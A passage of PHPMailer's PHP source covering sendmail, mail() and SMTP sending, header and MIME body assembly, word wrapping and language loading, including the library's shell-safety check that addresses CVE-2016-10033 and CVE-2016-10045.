    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
